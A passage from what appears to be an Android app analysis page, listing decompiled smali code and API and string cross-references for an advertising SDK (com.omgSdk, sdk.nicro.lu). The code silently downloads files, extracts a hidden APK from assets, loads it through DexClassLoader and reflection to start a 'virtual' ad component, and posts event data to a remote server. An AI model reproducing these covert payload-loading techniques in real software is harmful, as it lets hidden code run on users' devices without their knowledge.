                              137if-eq v1, v3, :cond_c5
                              138const/16 v3, 0xc8
                              139if-ne v1, v3, :cond_4f
                              140cond_c5:
                              141invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
                              142move-result-object v1
                              143const/16 v3, 0x1000
                              144new-array v3, v3, [B
                              145goto_cd:
                              146invoke-virtual {v1, v3}, Ljava/io/InputStream;->read([B)I
                              147move-result v4
                              148const/4 v5, -0x1
                              149if-eq v4, v5, :cond_14c
                              150const/4 v5, 0x0
                              152invoke-virtual {v2, v3, v5, v4}, Ljava/io/RandomAccessFile;->write([BII)V
                              153iget-wide v6, p0, Lcom/omgSdk/a/c;->d:J
                              154int-to-long v4, v4
                              155add-long/2addr v4, v6
                              156iput-wide v4, p0, Lcom/omgSdk/a/c;->d:J
                              158iget-object v4, p0, Lcom/omgSdk/a/c;->a:Lcom/omgSdk/a/e;
                              159iget-wide v6, p0, Lcom/omgSdk/a/c;->d:J
                              161invoke-virtual {v4, v6, v7}, Lcom/omgSdk/a/e;->b(J)V
                              163iget-object v4, p0, Lcom/omgSdk/a/c;->c:Lcom/omgSdk/a/a;
                              165iget-object v5, p0, Lcom/omgSdk/a/c;->b:Landroid/database/sqlite/SQLiteDatabase;
                              167iget-object v6, p0, Lcom/omgSdk/a/c;->a:Lcom/omgSdk/a/e;
                              169invoke-virtual {v4, v5, v6}, Lcom/omgSdk/a/a;->c(Landroid/database/sqlite/SQLiteDatabase;Lcom/omgSdk/a/e;)V
                              170try_end_ee: goto/16 :goto_cd
                              171catch_ef: move-exception v1
                              172move-object v3, v0
                              173move-object v0, v1
                              174move-object v1, v2
                              175goto_f3: new-instance v2, Ljava/lang/StringBuilder;
                              177invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              179const-string/jumbo v4, "\u4e0b\u8f7d\u5931\u8d25 = "
                              181invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              182move-result-object v2
                              183iget v4, p0, Lcom/omgSdk/a/c;->e:I
                              185invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              186move-result-object v2
                              188iget-object v4, p0, Lcom/omgSdk/a/c;->a:Lcom/omgSdk/a/e;
                              190invoke-virtual {v4}, Lcom/omgSdk/a/e;->b()Ljava/lang/String;
                              191move-result-object v4
                              193invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              194move-result-object v2
                              196invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              197move-result-object v2
                              199invoke-static {v2}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              201invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              202if-eqz v3, :cond_11e
                              204invoke-virtual {v3}, Ljava/net/HttpURLConnection;->disconnect()V
                              205cond_11e: if-eqz v1, :cond_123
                              206try_start_120:
                              207invoke-virtual {v1}, Ljava/io/RandomAccessFile;->close()V
                              208try_end_123: iget v0, p0, Lcom/omgSdk/a/c;->e:I
                              209const/4 v1, 0x3
                              210if-ge v0, v1, :cond_17e
                              211new-instance v0, Ljava/lang/StringBuilder;
                              213invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              215const-string/jumbo v1, "retryCount = "
                              217invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              218move-result-object v0
                              219iget v1, p0, Lcom/omgSdk/a/c;->e:I
                              221invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              222move-result-object v0
                              224invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              225move-result-object v0
                              227invoke-static {v0}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              228iget v0, p0, Lcom/omgSdk/a/c;->e:I
                              229add-int/lit8 v0, v0, 0x1
                              230iput v0, p0, Lcom/omgSdk/a/c;->e:I
                              232invoke-direct {p0}, Lcom/omgSdk/a/c;->b()V
                              233goto/16 :goto_4f
                              234try_start_14c: new-instance v1, Ljava/lang/StringBuilder;
                              236invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              238const-string/jumbo v3, "finished = "
                              240invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              241move-result-object v1
                              242iget-wide v4, p0, Lcom/omgSdk/a/c;->d:J
                              244invoke-virtual {v1, v4, v5}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                              245move-result-object v1
                              247const-string/jumbo v3, ", \u4e0b\u8f7d\u5b8c\u6210"
                              249invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              250move-result-object v1
                              252invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              253move-result-object v1
                              255invoke-static {v1}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              257iget-object v1, p0, Lcom/omgSdk/a/c;->f:Lcom/omgSdk/a/c$a;
                              259invoke-interface {v1, p0}, Lcom/omgSdk/a/c$a;->a(Lcom/omgSdk/a/c;)V
                              261invoke-virtual {v0}, Ljava/net/HttpURLConnection;->disconnect()V
                              263invoke-virtual {v2}, Ljava/io/RandomAccessFile;->close()V
                              264try_end_177: goto/16 :goto_4f
                              265catch_179: move-exception v0
                              267invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                              268goto/16 :goto_123
                              269cond_17e:
                              270iget-object v0, p0, Lcom/omgSdk/a/c;->f:Lcom/omgSdk/a/c$a;
                              272invoke-interface {v0, p0}, Lcom/omgSdk/a/c$a;->b(Lcom/omgSdk/a/c;)V
                              273goto/16 :goto_4f
                              274catch_185: move-exception v0
                              275move-object v1, v3
                              276goto/16 :goto_f3
                              277catch_189: move-exception v1
                              278move-object v10, v1
                              279move-object v1, v3
                              280move-object v3, v0
                              281move-object v0, v10
                              282goto/16 :goto_f3
                              Cross References
                              APIs
                              • android.content.Context.getCacheDir
                              • java.io.File.getAbsolutePath
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.separator:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.<init>
                              • java.io.File.exists
                              • android.content.Context.getAssets
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.content.res.AssetManager.open
                              • java.io.File.<init>
                              • java.io.FileOutputStream.<init>
                              • java.io.FileOutputStream.flush
                              • java.io.InputStream.close
                              • java.io.FileOutputStream.close
                              • android.content.Context.getAssets
                              • java.lang.Object.getClass
                              • java.lang.Class.getDeclaredMethod
                              • android.content.Context.getAssets
                              • java.lang.reflect.Method.invoke
                              • android.content.Context.getApplicationContext
                              • android.content.Context.getClassLoader
                              • dalvik.system.DexClassLoader.<init>
                              • android.os.Bundle.<init>
                              • android.os.Bundle.putString
                              • android.os.Bundle.putString
                              • android.os.Bundle.putString
                              • android.os.Bundle.putString
                              • android.os.Bundle.putString
                              • android.os.Bundle.putString
                              • android.os.Bundle.putBoolean
                              • dalvik.system.DexClassLoader.loadClass
                              • java.lang.Class.getConstructor
                              • android.content.Context.getApplicationContext
                              • java.lang.reflect.Constructor.newInstance
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              • java.io.IOException.printStackTrace
                              • java.lang.Throwable.printStackTrace
                              • java.lang.Throwable.printStackTrace
                              Strings
                              • VirName
                              • virName
                              • .apk
                              • lib/
                              • addAssetPath
                              • path
                              • platformType
                              • adType
                              • adPlacementId
                              • pkg
                              • referrer
                              • appIsShowFlag
                              • com.core.model.VirtualOpenProvider
                              • startVirtual
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p0}, Landroid/content/Context;->getCacheDir()Ljava/io/File;
                              3move-result-object v0
                              5invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                              6move-result-object v1
                              8invoke-static {p0}, Lcom/omg/base/Config;->current(Landroid/content/Context;)Lcom/omg/base/Config;
                              9move-result-object v0
                              11const-string/jumbo v2, "VirName"
                              13const-string/jumbo v3, "virName"
                              15invoke-virtual {v0, v2, v3}, Lcom/omg/base/Config;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              16move-result-object v0
                              17new-instance v2, Ljava/lang/StringBuilder;
                              19invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              21invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              22move-result-object v2
                              24sget-object v3, Ljava/io/File;->separator:Ljava/lang/String;
                              26invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              27move-result-object v2
                              29invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              30move-result-object v2
                              32const-string/jumbo v3, ".apk"
                              34invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              35move-result-object v2
                              37invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              38move-result-object v2
                              39new-instance v3, Ljava/io/File;
                              41invoke-direct {v3, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              43invoke-virtual {v3}, Ljava/io/File;->exists()Z
                              44move-result v3
                              45if-nez v3, :cond_73
                              46try_start_3f:
                              47invoke-virtual {p0}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              48move-result-object v3
                              49new-instance v4, Ljava/lang/StringBuilder;
                              51invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              53const-string/jumbo v5, "lib/"
                              55invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              56move-result-object v4
                              58invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              59move-result-object v0
                              61invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              62move-result-object v0
                              64invoke-virtual {v3, v0}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
                              65move-result-object v0
                              66new-instance v3, Ljava/io/FileOutputStream;
                              67new-instance v4, Ljava/io/File;
                              69invoke-direct {v4, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              71invoke-direct {v3, v4}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                              72const/16 v4, 0x17b
                              74invoke-static {v0, v3, v4}, Lcom/omgSdk/andoclib/Admob;->writeFile(Ljava/io/InputStream;Ljava/io/OutputStream;I)V
                              76invoke-virtual {v3}, Ljava/io/FileOutputStream;->flush()V
                              78invoke-virtual {v0}, Ljava/io/InputStream;->close()V
                              80invoke-virtual {v3}, Ljava/io/FileOutputStream;->close()V
                              81goto_73:
                              82invoke-virtual {p0}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              83move-result-object v0
                              85invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              86move-result-object v0
                              88const-string/jumbo v3, "addAssetPath"
                              89const/4 v4, 0x1
                              90new-array v4, v4, [Ljava/lang/Class;
                              91const/4 v5, 0x0
                              92const-class v6, Ljava/lang/String;
                              93aput-object v6, v4, v5
                              95invoke-virtual {v0, v3, v4}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              96move-result-object v0
                              98invoke-virtual {p0}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              99move-result-object v3
                              100const/4 v4, 0x1
                              101new-array v4, v4, [Ljava/lang/Object;
                              102const/4 v5, 0x0
                              103aput-object v2, v4, v5
                              105invoke-virtual {v0, v3, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              106goto_97: new-instance v0, Ldalvik/system/DexClassLoader;
                              107const/4 v3, 0x0
                              109invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                              110move-result-object v4
                              112invoke-virtual {v4}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                              113move-result-object v4
                              115invoke-direct {v0, v2, v1, v3, v4}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                              116try_start_a5: new-instance v1, Landroid/os/Bundle;
                              118invoke-direct {v1}, Landroid/os/Bundle;-><init>()V
                              120const-string/jumbo v2, "path"
                              122invoke-virtual {v1, v2, p1}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              124const-string/jumbo v2, "platformType"
                              126invoke-virtual {v1, v2, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              128const-string/jumbo v2, "adType"
                              130invoke-virtual {v1, v2, p4}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              132const-string/jumbo v2, "adPlacementId"
                              134invoke-virtual {v1, v2, p5}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              136const-string/jumbo v2, "pkg"
                              138invoke-virtual {v1, v2, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              140const-string/jumbo v2, "referrer"
                              142invoke-virtual {v1, v2, p6}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              144const-string/jumbo v2, "appIsShowFlag"
                              146invoke-virtual {v1, v2, p7}, Landroid/os/Bundle;->putBoolean(Ljava/lang/String;Z)V
                              148const-string/jumbo v2, "com.core.model.VirtualOpenProvider"
                              150invoke-virtual {v0, v2}, Ldalvik/system/DexClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                              151move-result-object v0
                              152const/4 v2, 0x2
                              153new-array v2, v2, [Ljava/lang/Class;
                              154const/4 v3, 0x0
                              155const-class v4, Landroid/os/Bundle;
                              156aput-object v4, v2, v3
                              157const/4 v3, 0x1
                              158const-class v4, Landroid/content/Context;
                              159aput-object v4, v2, v3
                              161invoke-virtual {v0, v2}, Ljava/lang/Class;->getConstructor([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;
                              162move-result-object v2
                              163const/4 v3, 0x2
                              164new-array v3, v3, [Ljava/lang/Object;
                              165const/4 v4, 0x0
                              166aput-object v1, v3, v4
                              167const/4 v1, 0x1
                              169invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                              170move-result-object v4
                              171aput-object v4, v3, v1
                              173invoke-virtual {v2, v3}, Ljava/lang/reflect/Constructor;->newInstance([Ljava/lang/Object;)Ljava/lang/Object;
                              174move-result-object v1
                              176const-string/jumbo v2, "startVirtual"
                              177const/4 v3, 0x0
                              178new-array v3, v3, [Ljava/lang/Class;
                              180invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              181move-result-object v0
                              182const/4 v2, 0x1
                              184invoke-virtual {v0, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              185const/4 v2, 0x0
                              186new-array v2, v2, [Ljava/lang/Object;
                              188invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              189try_end_111: return-void
                              190catch_112: move-exception v0
                              192invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                              193goto/16 :goto_73
                              194catch_118: move-exception v0
                              196invoke-virtual {v0}, Ljava/lang/Throwable;->printStackTrace()V
                              197goto/16 :goto_97
                              198catch_11e: move-exception v0
                              200invoke-virtual {v0}, Ljava/lang/Throwable;->printStackTrace()V
                              201goto/16 :goto_111
                              Cross References
                              APIs
                              • java.net.URL.<init>
                              • java.net.URL.openConnection
                              • java.net.HttpURLConnection.setRequestMethod
                              • java.net.HttpURLConnection.setDoInput
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.intValue
                              • java.net.HttpURLConnection.setConnectTimeout
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.intValue
                              • java.net.HttpURLConnection.setReadTimeout
                              • java.net.HttpURLConnection.setRequestProperty
                              • java.net.HttpURLConnection.setRequestProperty
                              • java.util.Map.keySet
                              • java.util.Set.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • java.util.Map.get
                              • java.net.HttpURLConnection.setRequestProperty
                              • java.net.HttpURLConnection.getResponseCode
                              • sdk.nicro.lu.e$b$2.<init>
                              • java.lang.Integer.valueOf
                              • java.util.Set.contains
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.IOException.<init>
                              • java.net.HttpURLConnection.getInputStream
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.getParentFile
                              • java.io.File.getParentFile
                              • java.io.File.exists
                              • java.io.File.getParentFile
                              • java.io.File.mkdirs
                              • java.io.File.createNewFile
                              • java.lang.Boolean.valueOf
                              • java.lang.Boolean.booleanValue
                              • java.io.FileOutputStream.<init>
                              • java.net.HttpURLConnection.getContentLength
                              • java.io.InputStream.close
                              • java.io.OutputStream.close
                              • java.net.HttpURLConnection.disconnect
                              • java.io.FileOutputStream.<init>
                              • java.io.InputStream.close
                              • java.io.OutputStream.close
                              Strings
                              • GET
                              • ConnectTimeout
                              • ReadTimeout
                              • Connection
                              • close
                              • User-Agent
                              • Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)
                              • AccptCodes
                              • http response is
                              • not in
                              • IsOveride
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v5, 0x1
                              2new-instance v0, Ljava/net/URL;
                              4invoke-virtual {p1}, Lsdk/nicro/lu/e$d;->a()Ljava/lang/String;
                              5move-result-object v1
                              7invoke-direct {v0, v1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                              9invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                              10move-result-object v0
                              11check-cast v0, Ljava/net/HttpURLConnection;
                              13const-string/jumbo v1, "GET"
                              15invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                              17invoke-virtual {v0, v5}, Ljava/net/HttpURLConnection;->setDoInput(Z)V
                              19const-string/jumbo v1, "ConnectTimeout"
                              20const/16 v2, 0x3a98
                              22invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              23move-result-object v2
                              25invoke-virtual {p1, v1, v2}, Lsdk/nicro/lu/e$d;->a(Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/Object;
                              26move-result-object v1
                              27check-cast v1, Ljava/lang/Integer;
                              29invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                              30move-result v1
                              32invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                              34const-string/jumbo v1, "ReadTimeout"
                              35const v2, 0x2bf20
                              37invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              38move-result-object v2
                              40invoke-virtual {p1, v1, v2}, Lsdk/nicro/lu/e$d;->a(Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/Object;
                              41move-result-object v1
                              42check-cast v1, Ljava/lang/Integer;
                              44invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                              45move-result v1
                              47invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
                              49const-string/jumbo v1, "Connection"
                              51const-string/jumbo v2, "close"
                              53invoke-virtual {v0, v1, v2}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              55const-string/jumbo v1, "User-Agent"
                              57const-string/jumbo v2, "Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)"
                              59invoke-virtual {v0, v1, v2}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              61invoke-virtual {p1}, Lsdk/nicro/lu/e$d;->d()Ljava/util/Map;
                              62move-result-object v1
                              64invoke-interface {v1}, Ljava/util/Map;->keySet()Ljava/util/Set;
                              65move-result-object v1
                              67invoke-interface {v1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                              68move-result-object v3
                              69goto_64:
                              70invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                              71move-result v1
                              72if-eqz v1, :cond_7e
                              74invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              75move-result-object v1
                              76check-cast v1, Ljava/lang/String;
                              78invoke-virtual {p1}, Lsdk/nicro/lu/e$d;->d()Ljava/util/Map;
                              79move-result-object v2
                              81invoke-interface {v2, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              82move-result-object v2
                              83check-cast v2, Ljava/lang/String;
                              85invoke-virtual {v0, v1, v2}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              86goto/16 :goto_64
                              87cond_7e:
                              88invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getResponseCode()I
                              89move-result v2
                              91const-string/jumbo v1, "AccptCodes"
                              92new-instance v3, Lsdk/nicro/lu/e$b$2;
                              94invoke-direct {v3, p0}, Lsdk/nicro/lu/e$b$2;-><init>(Lsdk/nicro/lu/e$b;)V
                              96invoke-virtual {p1, v1, v3}, Lsdk/nicro/lu/e$d;->a(Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/Object;
                              97move-result-object v1
                              98check-cast v1, Ljava/util/Set;
                              100invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              101move-result-object v3
                              103invoke-interface {v1, v3}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
                              104move-result v3
                              105if-nez v3, :cond_bf
                              106new-instance v0, Ljava/io/IOException;
                              107new-instance v3, Ljava/lang/StringBuilder;
                              109invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              111const-string/jumbo v4, "http response is "
                              113invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              114move-result-object v3
                              116invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              117move-result-object v2
                              119const-string/jumbo v3, " not in "
                              121invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              122move-result-object v2
                              124invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              125move-result-object v1
                              127invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              128move-result-object v1
                              130invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
                              131throw v0
                              132cond_bf:
                              133invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
                              134move-result-object v2
                              135new-instance v4, Ljava/io/File;
                              137invoke-virtual {p1}, Lsdk/nicro/lu/e$d;->b()Ljava/lang/String;
                              138move-result-object v1
                              140invoke-direct {v4, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              142invoke-virtual {v4}, Ljava/io/File;->exists()Z
                              143move-result v1
                              144if-nez v1, :cond_ec
                              146invoke-virtual {v4}, Ljava/io/File;->getParentFile()Ljava/io/File;
                              147move-result-object v1
                              148if-eqz v1, :cond_e9
                              150invoke-virtual {v4}, Ljava/io/File;->getParentFile()Ljava/io/File;
                              151move-result-object v1
                              153invoke-virtual {v1}, Ljava/io/File;->exists()Z
                              154move-result v1
                              155if-nez v1, :cond_e9
                              157invoke-virtual {v4}, Ljava/io/File;->getParentFile()Ljava/io/File;
                              158move-result-object v1
                              160invoke-virtual {v1}, Ljava/io/File;->mkdirs()Z
                              161cond_e9:
                              162invoke-virtual {v4}, Ljava/io/File;->createNewFile()Z
                              163cond_ec:
                              164const-string/jumbo v1, "IsOveride"
                              166invoke-static {v5}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              167move-result-object v3
                              169invoke-virtual {p1, v1, v3}, Lsdk/nicro/lu/e$d;->a(Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/Object;
                              170move-result-object v1
                              171check-cast v1, Ljava/lang/Boolean;
                              173invoke-virtual {v1}, Ljava/lang/Boolean;->booleanValue()Z
                              174move-result v1
                              175if-eqz v1, :cond_120
                              176new-instance v3, Ljava/io/FileOutputStream;
                              178invoke-direct {v3, v4}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                              179goto_104:
                              180invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getContentLength()I
                              181move-result v1
                              182int-to-long v4, v1
                              183move-object v1, p0
                              184move-object v6, p2
                              186invoke-direct/range {v1 .. v6}, Lsdk/nicro/lu/e$b;->a(Ljava/io/InputStream;Ljava/io/OutputStream;JLsdk/nicro/lu/e$c;)Z
                              187move-result v1
                              188if-nez v1, :cond_116
                              189if-eqz p2, :cond_116
                              191invoke-interface {p2}, Lsdk/nicro/lu/e$c;->a()V
                              192try_end_116:
                              193invoke-virtual {v2}, Ljava/io/InputStream;->close()V
                              195invoke-virtual {v3}, Ljava/io/OutputStream;->close()V
                              197invoke-virtual {v0}, Ljava/net/HttpURLConnection;->disconnect()V
                              198return-void
                              199cond_120: new-instance v3, Ljava/io/FileOutputStream;
                              201invoke-direct {v3, v4, v5}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;Z)V
                              202goto/16 :goto_104
                              203catchall_126: move-exception v0
                              205invoke-virtual {v2}, Ljava/io/InputStream;->close()V
                              207invoke-virtual {v3}, Ljava/io/OutputStream;->close()V
                              208throw v0
                              Cross References
                              APIs
                              • org.json.JSONArray.<init>
                              • java.lang.StringBuilder.<init>
                              • java.util.ArrayList.<init>
                              • java.util.List.add
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • org.json.JSONArray.put
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • org.json.JSONArray.length
                              • java.lang.String.trim
                              • java.lang.String.equals
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.net.URL.<init>
                              • java.net.HttpURLConnection.setDoInput
                              • java.net.HttpURLConnection.setConnectTimeout
                              • java.net.HttpURLConnection.setRequestProperty
                              • java.net.HttpURLConnection.setRequestMethod
                              • java.net.HttpURLConnection.setDoOutput
                              • java.net.HttpURLConnection.getOutputStream
                              • org.json.JSONArray.toString
                              • java.lang.String.getBytes
                              • java.io.OutputStream.write
                              • java.net.HttpURLConnection.getOutputStream
                              • java.io.OutputStream.flush
                              • java.net.HttpURLConnection.connect
                              • java.net.HttpURLConnection.getResponseCode
                              • java.net.HttpURLConnection.disconnect
                              • java.net.HttpURLConnection.disconnect
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              Strings
                              • \n
                              • try send
                              • ADS_DATAEVENT_URL
                              • newdataevent
                              • /log/biz
                              • Content-Type
                              • application/json;charset=utf-8
                              • POST
                              • dataevent
                              • send event fail
                              • from
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x1
                              2const/4 v1, 0x0
                              3try_start_2: new-instance v3, Lorg/json/JSONArray;
                              5invoke-direct {v3}, Lorg/json/JSONArray;-><init>()V
                              6new-instance v4, Ljava/lang/StringBuilder;
                              8invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              9new-instance v0, Ljava/util/ArrayList;
                              11invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
                              13invoke-interface {v0, p1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                              15invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              16move-result-object v5
                              17move v0, v1
                              18goto_19:
                              19invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z
                              20move-result v6
                              21if-eqz v6, :cond_4a
                              23invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              24move-result-object v0
                              25check-cast v0, Lsdk/nicro/lu/a;
                              27iget-object v6, p0, Lsdk/nicro/lu/a;->e:Landroid/content/Context;
                              29invoke-virtual {v0, v6}, Lsdk/nicro/lu/a;->a(Landroid/content/Context;)V
                              31invoke-direct {v0}, Lsdk/nicro/lu/a;->l()Ljava/lang/Object;
                              32move-result-object v0
